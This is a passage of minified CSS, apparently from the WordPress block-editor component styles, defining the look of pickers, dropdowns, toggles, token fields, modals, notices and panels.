clip-rule='evenodd'/%3E%3C/svg%3E");border-radius:50%;bottom:1px;content:"";left:1px;position:absolute;right:1px;top:1px;z-index:-1}.components-circular-option-picker__option{background:#0000;border:none;border-radius:50%;box-shadow:inset 0 0 0 14px;cursor:pointer;display:inline-block;height:100%;transition:box-shadow .1s ease;vertical-align:top;width:100%}@media (prefers-reduced-motion:reduce){.components-circular-option-picker__option{transition-delay:0s;transition-duration:0s}}.components-circular-option-picker__option:hover{box-shadow:inset 0 0 0 14px!important}.components-circular-option-picker__option[aria-pressed=true],.components-circular-option-picker__option[aria-selected=true]{box-shadow:inset 0 0 0 4px;overflow:visible;position:relative;z-index:1}.components-circular-option-picker__option[aria-pressed=true]+svg,.components-circular-option-picker__option[aria-selected=true]+svg{border-radius:50%;left:2px;pointer-events:none;position:absolute;top:2px;z-index:2}.components-circular-option-picker__option:after{border:1px solid #0000;border-radius:50%;bottom:-1px;box-shadow:inset 0 0 0 1px #0003;box-sizing:inherit;content:"";left:-1px;position:absolute;right:-1px;top:-1px}.components-circular-option-picker__option:focus:after{border:2px solid #757575;border-radius:50%;box-shadow:inset 0 0 0 2px #fff;content:"";height:calc(100% + 4px);left:50%;position:absolute;top:50%;transform:translate(-50%,-50%);width:calc(100% + 4px)}.components-circular-option-picker__option.components-button:focus{background-color:initial;box-shadow:inset 0 0 0 14px;outline:none}.components-circular-option-picker__button-action .components-circular-option-picker__option{background:#fff;color:#fff}.components-circular-option-picker__dropdown-link-action{margin-right:16px}.components-circular-option-picker__dropdown-link-action .components-button{line-height:22px}.components-palette-edit__popover-gradient-picker{padding:8px;width:260px}.components-dropdown-menu__menu .components-palette-edit__menu-button{width:100%}.component-color-indicator{background:#fff linear-gradient(-45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);border-radius:50%;box-shadow:inset 0 0 0 1px #0003;display:inline-block;height:20px;padding:0;width:20px}.components-combobox-control{width:100%}input.components-combobox-control__input[type=text]{border:none;box-shadow:none;font-family:inherit;font-size:16px;line-height:inherit;margin:0;min-height:auto;padding:2px;width:100%}@media (min-width:600px){input.components-combobox-control__input[type=text]{font-size:13px}}input.components-combobox-control__input[type=text]:focus{box-shadow:none;outline:none}.components-combobox-control__suggestions-container{align-items:flex-start;border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;display:flex;flex-wrap:wrap;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;padding:0;transition:box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.components-combobox-control__suggestions-container{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.components-combobox-control__suggestions-container{font-size:13px;line-height:normal}}.components-combobox-control__suggestions-container:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-combobox-control__suggestions-container::-webkit-input-placeholder{color:#1e1e1e9e}.components-combobox-control__suggestions-container::-moz-placeholder{color:#1e1e1e9e;opacity:1}.components-combobox-control__suggestions-container:-ms-input-placeholder{color:#1e1e1e9e}.components-combobox-control__suggestions-container:focus-within{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-combobox-control__reset.components-button{display:flex;height:16px;min-width:16px;padding:0}.components-color-palette__custom-color-wrapper{position:relative;z-index:0}.components-color-palette__custom-color-button{background:none;border:none;border-radius:2px 2px 0 0;box-shadow:inset 0 0 0 1px #0003;box-sizing:border-box;cursor:pointer;height:64px;outline:1px solid #0000;position:relative;width:100%}.components-color-palette__custom-color-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline-width:2px}.components-color-palette__custom-color-button:after{background-image:repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0),repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0);background-position:0 0,24px 24px;background-size:48px 48px;content:"";height:100%;left:0;position:absolute;top:0;width:100%;z-index:-1}.components-color-palette__custom-color-text-wrapper{border-radius:0 0 2px 2px;box-shadow:inset 0 -1px 0 0 #0003,inset 1px 0 0 0 #0003,inset -1px 0 0 0 #0003;font-size:13px;padding:12px 16px;position:relative}.components-color-palette__custom-color-name{color:var(--wp-components-color-foreground,#1e1e1e);margin:0 1px}.components-color-palette__custom-color-value{color:#757575}.components-color-palette__custom-color-value--is-hex{text-transform:uppercase}.components-color-palette__custom-color-value:empty:after{content:"​";visibility:hidden}.components-custom-gradient-picker__gradient-bar{border-radius:2px;height:48px;position:relative;width:100%;z-index:1}.components-custom-gradient-picker__gradient-bar.has-gradient{background-image:repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0),repeating-linear-gradient(45deg,#e0e0e0 25%,#0000 0,#0000 75%,#e0e0e0 0,#e0e0e0);background-position:0 0,12px 12px;background-size:24px 24px}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__gradient-bar-background{inset:0;position:absolute}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__markers-container{margin-left:auto;margin-right:auto;position:relative;width:calc(100% - 48px)}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-dropdown{display:flex;height:16px;position:absolute;top:16px;width:16px}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown{background:#fff;border-radius:50%;color:#1e1e1e;height:inherit;min-width:16px;padding:2px;position:relative;width:inherit}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown svg{height:100%;width:100%}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button{border-radius:50%;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 2px 0 #00000040;height:inherit;outline:2px solid #0000;padding:0;width:inherit}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button.is-active,.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button:focus{box-shadow:inset 0 0 0 calc(var(--wp-admin-border-width-focus)*2) #fff,0 0 2px 0 #00000040;outline:1.5px solid #0000}.components-custom-gradient-picker__remove-control-point-wrapper{padding-bottom:8px}.components-custom-gradient-picker__inserter{direction:ltr}.components-custom-gradient-picker__liner-gradient-indicator{display:inline-block;flex:0 auto;height:20px;width:20px}.components-custom-gradient-picker .components-custom-gradient-picker__toolbar{border:none}.components-custom-gradient-picker .components-custom-gradient-picker__toolbar>div+div{margin-left:1px}.components-custom-gradient-picker .components-custom-gradient-picker__toolbar button.is-pressed>svg{background:#fff;border:1px solid #949494;border-radius:2px}.components-custom-gradient-picker__ui-line{position:relative;z-index:0}.components-custom-select-control{font-size:13px;position:relative}.components-custom-select-control__button{outline:0;position:relative;text-align:left}.components-custom-select-control__hint{color:#949494;margin-left:10px}.components-custom-select-control__menu{background-color:#fff;border:1px solid #1e1e1e;border-radius:2px;max-height:400px;min-width:100%;outline:none;overflow:auto;padding:0;position:absolute;transition:none;z-index:1000000}.components-custom-select-control__menu[aria-hidden=true]{display:none}.components-custom-select-control__item{align-items:center;cursor:default;display:grid;grid-template-columns:auto auto;line-height:28px;list-style-type:none;padding:8px 16px}.components-custom-select-control__item:not(.is-next-40px-default-size){padding:8px}.components-custom-select-control__item.has-hint{grid-template-columns:auto auto 30px}.components-custom-select-control__item.is-highlighted{background:#ddd}.components-custom-select-control__item .components-custom-select-control__item-hint{color:#949494;padding-right:4px;text-align:right}.components-custom-select-control__item .components-custom-select-control__item-icon{margin-left:auto}.components-custom-select-control__item:last-child{margin-bottom:0}.block-editor-dimension-control .components-base-control__field{align-items:center;display:flex}.block-editor-dimension-control .components-base-control__label{align-items:center;display:flex;margin-bottom:0;margin-right:1em}.block-editor-dimension-control .components-base-control__label .dashicon{margin-right:.5em}.block-editor-dimension-control.is-manual .components-base-control__label{width:10em}body.is-dragging-components-draggable{cursor:move;cursor:grabbing!important}.components-draggable__invisible-drag-image{height:50px;left:-1000px;position:fixed;width:50px}.components-draggable__clone{background:#0000;padding:0;pointer-events:none;position:fixed;z-index:1000000000}.components-drop-zone{border-radius:2px;bottom:0;left:0;opacity:0;position:absolute;right:0;top:0;visibility:hidden;z-index:40}.components-drop-zone.is-active{opacity:1;visibility:visible}.components-drop-zone__content{align-items:center;background-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));bottom:0;color:#fff;display:flex;height:100%;justify-content:center;left:0;position:absolute;right:0;text-align:center;top:0;width:100%;z-index:50}.components-drop-zone__content-icon,.components-drop-zone__content-text{display:block}.components-drop-zone__content-icon{line-height:0;margin:0 auto 8px;fill:currentColor;pointer-events:none}.components-drop-zone__content-text{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.components-dropdown{display:inline-block}.components-dropdown__content .components-popover__content{padding:8px}.components-dropdown__content [role=menuitem]{white-space:nowrap}.components-dropdown-menu__toggle{vertical-align:top}.components-dropdown-menu__menu{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:1.4;width:100%}.components-dropdown-menu__menu .components-dropdown-menu__menu-item,.components-dropdown-menu__menu .components-menu-item{cursor:pointer;outline:none;padding:6px;white-space:nowrap;width:100%}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator,.components-dropdown-menu__menu .components-menu-item.has-separator{margin-top:6px;overflow:visible;position:relative}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator:before,.components-dropdown-menu__menu .components-menu-item.has-separator:before{background-color:#ddd;box-sizing:initial;content:"";display:block;height:1px;left:0;position:absolute;right:0;top:-3px}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active svg,.components-dropdown-menu__menu .components-menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-menu-item.is-active svg{background:#1e1e1e;border-radius:1px;box-shadow:0 0 0 1px #1e1e1e;color:#fff}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-icon-only,.components-dropdown-menu__menu .components-menu-item.is-icon-only{width:auto}.components-dropdown-menu__menu .components-menu-item__button,.components-dropdown-menu__menu .components-menu-item__button.components-button{height:auto;min-height:36px;padding-left:8px;padding-right:8px;text-align:left}.components-dropdown-menu__menu .components-menu-group{margin:0 -8px;padding:8px}.components-dropdown-menu__menu .components-menu-group:first-child{margin-top:-8px}.components-dropdown-menu__menu .components-menu-group:last-child{margin-bottom:-8px}.components-dropdown-menu__menu .components-menu-group+.components-menu-group{border-top:1px solid #ccc;margin-top:0;padding:8px}.is-alternate .components-dropdown-menu__menu .components-menu-group+.components-menu-group{border-color:#1e1e1e}.components-duotone-picker__color-indicator:before{background:#0000}.components-duotone-picker__color-indicator>.components-button,.components-duotone-picker__color-indicator>.components-button.is-pressed:hover:not(:disabled){background:linear-gradient(-45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);color:#0000}.components-duotone-picker__color-indicator>.components-button:not([aria-disabled=true]):active{color:#0000}.components-color-list-picker,.components-color-list-picker__swatch-button{width:100%}.components-color-list-picker__color-picker{margin:8px 0}.components-color-list-picker__swatch-button{padding:6px}.components-color-list-picker__swatch-color{margin:2px}.components-form-toggle{display:inline-block;position:relative}.components-form-toggle .components-form-toggle__track{background-color:#fff;border:1px solid #1e1e1e;border-radius:9px;box-sizing:border-box;content:"";display:inline-block;height:18px;overflow:hidden;position:relative;transition:background-color .2s ease,border-color .2s ease;vertical-align:top;width:36px}@media (prefers-reduced-motion:reduce){.components-form-toggle .components-form-toggle__track{transition-delay:0s;transition-duration:0s}}.components-form-toggle .components-form-toggle__track:after{border-top:18px solid #0000;box-sizing:border-box;content:"";inset:0;opacity:0;position:absolute;transition:opacity .2s ease}@media (prefers-reduced-motion:reduce){.components-form-toggle .components-form-toggle__track:after{transition-delay:0s;transition-duration:0s}}.components-form-toggle .components-form-toggle__thumb{background-color:#1e1e1e;border:6px solid #0000;border-radius:50%;box-sizing:border-box;display:block;height:12px;left:3px;position:absolute;top:3px;transition:transform .2s ease,background-color .2s ease-out;width:12px}@media (prefers-reduced-motion:reduce){.components-form-toggle .components-form-toggle__thumb{transition-delay:0s;transition-duration:0s}}.components-form-toggle.is-checked .components-form-toggle__track{background-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-form-toggle.is-checked .components-form-toggle__track:after{opacity:1}.components-form-toggle .components-form-toggle__input:focus+.components-form-toggle__track{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000;outline-offset:2px}.components-form-toggle.is-checked .components-form-toggle__thumb{background-color:#fff;border-width:0;transform:translateX(18px)}.components-disabled .components-form-toggle,.components-form-toggle.is-disabled{opacity:.3}.components-form-toggle input.components-form-toggle__input[type=checkbox]{border:none;height:100%;left:0;margin:0;opacity:0;padding:0;position:absolute;top:0;width:100%;z-index:1}.components-form-toggle input.components-form-toggle__input[type=checkbox]:checked{background:none}.components-form-toggle input.components-form-toggle__input[type=checkbox]:before{content:""}.components-form-token-field__input-container{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;cursor:text;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;padding:0;transition:box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.components-form-token-field__input-container{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.components-form-token-field__input-container{font-size:13px;line-height:normal}}.components-form-token-field__input-container:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-form-token-field__input-container::-webkit-input-placeholder{color:#1e1e1e9e}.components-form-token-field__input-container::-moz-placeholder{color:#1e1e1e9e;opacity:1}.components-form-token-field__input-container:-ms-input-placeholder{color:#1e1e1e9e}.components-form-token-field__input-container.is-disabled{background:#ddd;border-color:#ddd}.components-form-token-field__input-container.is-active{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-form-token-field__input-container input[type=text].components-form-token-field__input{background:inherit;border:0;box-shadow:none;color:#1e1e1e;display:inline-block;flex:1;font-family:inherit;font-size:16px;margin-left:4px;max-width:100%;min-height:24px;min-width:50px;padding:0;width:100%}@media (min-width:600px){.components-form-token-field__input-container input[type=text].components-form-token-field__input{font-size:13px}}.components-form-token-field.is-active .components-form-token-field__input-container input[type=text].components-form-token-field__input,.components-form-token-field__input-container input[type=text].components-form-token-field__input:focus{box-shadow:none;outline:none}.components-form-token-field__input-container .components-form-token-field__token+input[type=text].components-form-token-field__input{width:auto}.components-form-token-field__token{color:#1e1e1e;display:flex;font-size:13px;max-width:100%}.components-form-token-field__token.is-success .components-form-token-field__remove-token,.components-form-token-field__token.is-success .components-form-token-field__token-text{background:#4ab866}.components-form-token-field__token.is-error .components-form-token-field__remove-token,.components-form-token-field__token.is-error .components-form-token-field__token-text{background:#cc1818}.components-form-token-field__token.is-validating .components-form-token-field__remove-token,.components-form-token-field__token.is-validating .components-form-token-field__token-text{color:#757575}.components-form-token-field__token.is-borderless{padding:0 24px 0 0;position:relative}.components-form-token-field__token.is-borderless .components-form-token-field__token-text{background:#0000;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-form-token-field__token.is-borderless .components-form-token-field__remove-token{background:#0000;color:#757575;padding:0;position:absolute;right:0;top:1px}.components-form-token-field__token.is-borderless.is-success .components-form-token-field__token-text{color:#4ab866}.components-form-token-field__token.is-borderless.is-error .components-form-token-field__token-text{border-radius:4px 0 0 4px;color:#cc1818;padding:0 4px 0 6px}.components-form-token-field__token.is-borderless.is-validating .components-form-token-field__token-text{color:#1e1e1e}.components-form-token-field__token.is-disabled .components-form-token-field__remove-token{cursor:default}.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{background:#ddd;display:inline-block;height:auto;line-height:24px;min-width:unset;transition:all .2s cubic-bezier(.4,1,.4,1)}@media (prefers-reduced-motion:reduce){.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{animation-delay:0s;animation-duration:1ms;transition-delay:0s;transition-duration:0s}}.components-form-token-field__token-text{border-radius:2px 0 0 2px;overflow:hidden;padding:0 0 0 8px;text-overflow:ellipsis;white-space:nowrap}.components-form-token-field__remove-token.components-button{border-radius:0 2px 2px 0;color:#1e1e1e;cursor:pointer;line-height:10px;overflow:initial;padding:0 2px}.components-form-token-field__remove-token.components-button:hover{color:#1e1e1e}.components-form-token-field__suggestions-list{box-shadow:inset 0 1px 0 0 #949494;flex:1 0 100%;list-style:none;margin:0;max-height:128px;min-width:100%;overflow-y:auto;padding:0;transition:all .15s ease-in-out}@media (prefers-reduced-motion:reduce){.components-form-token-field__suggestions-list{transition-delay:0s;transition-duration:0s}}.components-form-token-field__suggestion{box-sizing:border-box;color:#1e1e1e;cursor:pointer;display:block;font-size:13px;margin:0;min-height:32px;padding:8px 12px}.components-form-token-field__suggestion.is-selected{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:#fff}@media (min-width:600px){.components-guide{width:600px}}.components-guide .components-modal__content{border-radius:2px;margin-top:0;padding:0}.components-guide .components-modal__content:before{content:none}.components-guide .components-modal__header{border-bottom:none;height:60px;padding:0;position:sticky}.components-guide .components-modal__header .components-button{align-self:flex-start;margin:8px 8px 0 0;position:static}.components-guide .components-modal__header .components-button:hover svg{fill:#fff}.components-guide__container{display:flex;flex-direction:column;justify-content:space-between;margin-top:-60px;min-height:100%}.components-guide__page{display:flex;flex-direction:column;justify-content:center;position:relative}@media (min-width:600px){.components-guide__page{min-height:300px}}.components-guide__footer{align-content:center;display:flex;height:36px;justify-content:center;margin:0 0 24px;padding:0 32px;position:relative;width:100%}.components-guide__page-control{margin:0;text-align:center}.components-guide__page-control li{display:inline-block;margin:0}.components-guide__page-control .components-button{color:#e0e0e0;height:30px;margin:-6px 0;min-width:20px}.components-guide__page-control li[aria-current=step] .components-button{color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-modal__frame.components-guide{border:none;max-height:575px;min-width:312px}@media (max-width:600px){.components-modal__frame.components-guide{margin:auto;max-width:calc(100vw - 32px)}}.components-button.components-guide__back-button,.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{position:absolute}.components-button.components-guide__back-button{left:32px}.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{right:32px}[role=region]{position:relative}.is-focusing-regions [role=region]:focus:after{bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0;z-index:1000000}.is-focusing-regions .editor-post-publish-panel,.is-focusing-regions .interface-interface-skeleton__actions .edit-post-layout__toggle-entities-saved-states-panel,.is-focusing-regions .interface-interface-skeleton__actions .edit-post-layout__toggle-publish-panel,.is-focusing-regions .interface-interface-skeleton__sidebar .edit-post-layout__toggle-sidebar-panel,.is-focusing-regions [role=region]:focus:after,.is-focusing-regions.is-distraction-free .interface-interface-skeleton__header .edit-post-header{outline:4px solid var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline-offset:-4px}.components-menu-group+.components-menu-group{border-top:1px solid #1e1e1e;margin-top:8px;padding-top:8px}.components-menu-group+.components-menu-group.has-hidden-separator{border-top:none;margin-top:0;padding-top:0}.components-menu-group__label{color:#757575;font-size:11px;font-weight:500;margin-bottom:12px;margin-top:4px;padding:0 8px;text-transform:uppercase;white-space:nowrap}.components-menu-item__button,.components-menu-item__button.components-button{width:100%}.components-menu-item__button.components-button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button.components-button[role=menuitemradio] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemradio] .components-menu-item__item:only-child{box-sizing:initial;padding-right:48px}.components-menu-item__button .components-menu-items__item-icon,.components-menu-item__button.components-button .components-menu-items__item-icon{display:inline-block;flex:0 0 auto}.components-menu-item__button .components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-items__item-icon.has-icon-right{margin-left:24px;margin-right:-2px}.components-menu-item__button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right{margin-left:8px}.components-menu-item__button .block-editor-block-icon,.components-menu-item__button.components-button .block-editor-block-icon{margin-left:-2px;margin-right:8px}.components-menu-item__button.components-button.is-primary,.components-menu-item__button.is-primary{justify-content:center}.components-menu-item__button.components-button.is-primary .components-menu-item__item,.components-menu-item__button.is-primary .components-menu-item__item{margin-right:0}.components-menu-item__button.components-button:disabled.is-tertiary,.components-menu-item__button.components-button[aria-disabled=true].is-tertiary,.components-menu-item__button:disabled.is-tertiary,.components-menu-item__button[aria-disabled=true].is-tertiary{background:none;color:var(--wp-components-color-accent-darker-10,var(--wp-admin-theme-color-darker-10,#2145e6));opacity:.3}.components-menu-item__info-wrapper{display:flex;flex-direction:column;margin-right:auto}.components-menu-item__info{color:#757575;font-size:12px;margin-top:4px;white-space:normal}.components-menu-item__item{align-items:center;display:inline-flex;margin-right:auto;min-width:160px;white-space:nowrap}.components-menu-item__shortcut{align-self:center;color:currentColor;display:none;margin-left:auto;margin-right:0;padding-left:24px}@media (min-width:480px){.components-menu-item__shortcut{display:inline}}.components-menu-items-choice svg,.components-menu-items-choice.components-button svg{margin-right:12px}.components-menu-items-choice.components-button.has-icon,.components-menu-items-choice.has-icon{padding-left:12px}.components-modal__screen-overlay{animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards;background-color:#00000059;bottom:0;display:flex;left:0;position:fixed;right:0;top:0;z-index:100000}@media (prefers-reduced-motion:reduce){.components-modal__screen-overlay{animation-delay:0s;animation-duration:1ms}}.components-modal__frame{animation:components-modal__appear-animation .1s ease-out;animation-fill-mode:forwards;background:#fff;border-radius:4px 4px 0 0;box-shadow:0 .7px 1px #00000026,0 2.7px 3.8px -.2px #00000026,0 5.5px 7.8px -.3px #00000026,.1px 11.5px 16.4px -.5px #00000026;display:flex;margin:40px 0 0;overflow:hidden;width:100%}@media (prefers-reduced-motion:reduce){.components-modal__frame{animation-delay:0s;animation-duration:1ms}}@media (min-width:600px){.components-modal__frame{border-radius:4px;margin:auto;max-height:calc(100% - 120px);max-width:calc(100% - 32px);min-width:350px;width:auto}}@media (min-width:600px) and (min-width:600px){.components-modal__frame.is-full-screen{height:calc(100% - 32px);max-height:none;width:calc(100% - 32px)}}@media (min-width:600px) and (min-width:782px){.components-modal__frame.is-full-screen{height:calc(100% - 80px);max-width:none;width:calc(100% - 80px)}}@media (min-width:600px){.components-modal__frame.has-size-large,.components-modal__frame.has-size-medium,.components-modal__frame.has-size-small{width:100%}.components-modal__frame.has-size-small{max-width:384px}.components-modal__frame.has-size-medium{max-width:512px}.components-modal__frame.has-size-large{max-width:840px}}@media (min-width:960px){.components-modal__frame{max-height:70%}}@keyframes components-modal__appear-animation{0%{transform:translateY(32px)}to{transform:translateY(0)}}.components-modal__header{align-items:center;border-bottom:1px solid #0000;box-sizing:border-box;display:flex;flex-direction:row;height:72px;justify-content:space-between;left:0;padding:24px 32px 8px;position:absolute;top:0;width:100%;z-index:10}.components-modal__header .components-modal__header-heading{font-size:1.2rem;font-weight:600}.components-modal__header h1{line-height:1;margin:0}.components-modal__header .components-button{left:8px;position:relative}.components-modal__content.has-scrolled-content:not(.hide-header) .components-modal__header{border-bottom-color:#ddd}.components-modal__header+p{margin-top:0}.components-modal__header-heading-container{align-items:center;display:flex;flex-direction:row;flex-grow:1;justify-content:left}.components-modal__header-icon-container{display:inline-block}.components-modal__header-icon-container svg{max-height:36px;max-width:36px;padding:8px}.components-modal__content{flex:1;margin-top:72px;overflow:auto;padding:4px 32px 32px}.components-modal__content.hide-header{margin-top:0;padding-top:32px}.components-modal__content.is-scrollable:focus-visible{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000;outline-offset:-2px}.components-notice{align-items:center;background-color:#fff;border-left:4px solid var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:8px 12px}.components-notice.is-dismissible{position:relative}.components-notice.is-success{background-color:#eff9f1;border-left-color:#4ab866}.components-notice.is-warning{background-color:#fef8ee;border-left-color:#f0b849}.components-notice.is-error{background-color:#f4a2a2;border-left-color:#cc1818}.components-notice__content{flex-grow:1;margin:4px 25px 4px 0}.components-notice__actions{display:flex;flex-wrap:wrap}.components-notice__action.components-button{margin-right:8px}.components-notice__action.components-button,.components-notice__action.components-button.is-link{margin-left:12px}.components-notice__action.components-button.is-secondary{vertical-align:initial}.components-notice__dismiss{align-self:flex-start;color:#757575;flex-shrink:0}.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{background-color:initial;color:#1e1e1e}.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{box-shadow:none}.components-notice-list{box-sizing:border-box;max-width:100vw}.components-notice-list .components-notice__content{line-height:2;margin-bottom:12px;margin-top:12px}.components-notice-list .components-notice__action.components-button{display:block;margin-left:0;margin-top:8px}.components-panel{background:#fff;border:1px solid #e0e0e0}.components-panel>.components-panel__body:first-child,.components-panel>.components-panel__header:first-child{margin-top:-1px}.components-panel>.components-panel__body:last-child,.components-panel>.components-panel__header:last-child{border-bottom-width:0}.components-panel+.components-panel{margin-top:-1px}.components-panel__body{border-bottom:1px solid #e0e0e0;border-top:1px solid #e0e0e0}.components-panel__body h3{margin:0 0 .5em}.components-panel__body.is-opened{padding:16px}.components-panel__header{align-items:center;border-bottom:1px solid #ddd;box-sizing:initial;display:flex;height:47px;justify-content:space-between;padding:0 16px}.components-panel__header h2{color:inherit;font-size:inherit;margin:0}.components-panel__body+.components-panel__body,.components-panel__body+.components-panel__header,.components-panel__header+.components-panel__body,.components-panel__header+.components-panel__header{margin-top:-1px}.components-panel__body>.components-panel__body-title{display:block;font-size:inherit;margin-bottom:0;margin-top:0;padding:0;transition:background .1s ease-in-out}@media (prefers-reduced-motion:reduce){.components-panel__body>.components-panel__body-title{transition-delay:0s;transition-duration:0s}}.components-panel__body.is-opened>.components-panel__body-title{margin:-16px -16px 5px}.components-panel__body>.components-panel__body-title:hover{background:#f0f0f0;border:none}.components-panel__body-toggle.components-button{border:none;box-shadow:none;color:#1e1e1e;font-weight:500;height:auto;outline:none;padding:16px 48px 16px 16px;position:relative;text-align:left;transition:background .1s ease-in-out;width:100%}@media (prefers-reduced-motion:reduce){.components-panel__body-toggle.components-button{transition-delay:0s;transition-duration:0s}}.components-panel__body-toggle.components-button:focus{border-radius:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-panel__body-toggle.components-button .components-panel__arrow{color:#1e1e1e;position:absolute;right:16px;top:50%;transform:translateY(-50%);fill:currentColor;transition:color .1s ease-in-out}@media (prefers-reduced-motion:reduce){.components-panel__body-toggle.components-button .components-panel__arrow{transition-delay:0s;transition-duration:0s}}body.rtl .components-panel__body-toggle.components-button .dashicons-arrow-right{-ms-filter:fliph;filter:FlipH;margin-top:-10px;transform:scaleX(-1)}.components-panel__icon{color:#757575;margin:-2px 0 -2px 6px}.components-panel__body-toggle-icon{margin-right:-5px}.components-panel__color-title{float:left;height:19px}.components-panel__row{align-items:center;display:flex;justify-content:space-between;margin-top:8px;min-height:36px}.components-panel__row select{min-width:0}.components-panel__row label{flex-shrink:0;margin-right:12px;max-width:75%}.components-panel__row:empty,.components-panel__row:first-of-type{margin-top:0}.components-panel .circle-picker{padding-bottom:20px}.components-placeholder.components-placeholder{box-sizing:border-box;color:#1e1e1e;font-size:13px;margin:0;padding:1em;position:relative;text-align:left;width:100%;-moz-font-smoothing:subpixel-antialiased;-webkit-font-smoothing:subpixel-antialiased;background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;outline:1px solid #0000}@supports (position:sticky){.components-placeholder.components-placeholder{align-items:flex-start;display:flex;flex-direction:column;justify-content:top}}.components-placeholder__error,.components-placeholder__fieldset,.components-placeholder__instructions,.components-placeholder__label{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;letter-spacing:normal;line-height:normal;text-transform:none}.components-placeholder__label{align-items:center;display:flex;font-weight:600;margin-bottom:16px}.components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{margin-right:12px;fill:currentColor}@media (forced-colors:active){.components-placeholder__label .block-editor-block-icon,.components-placeholder__label 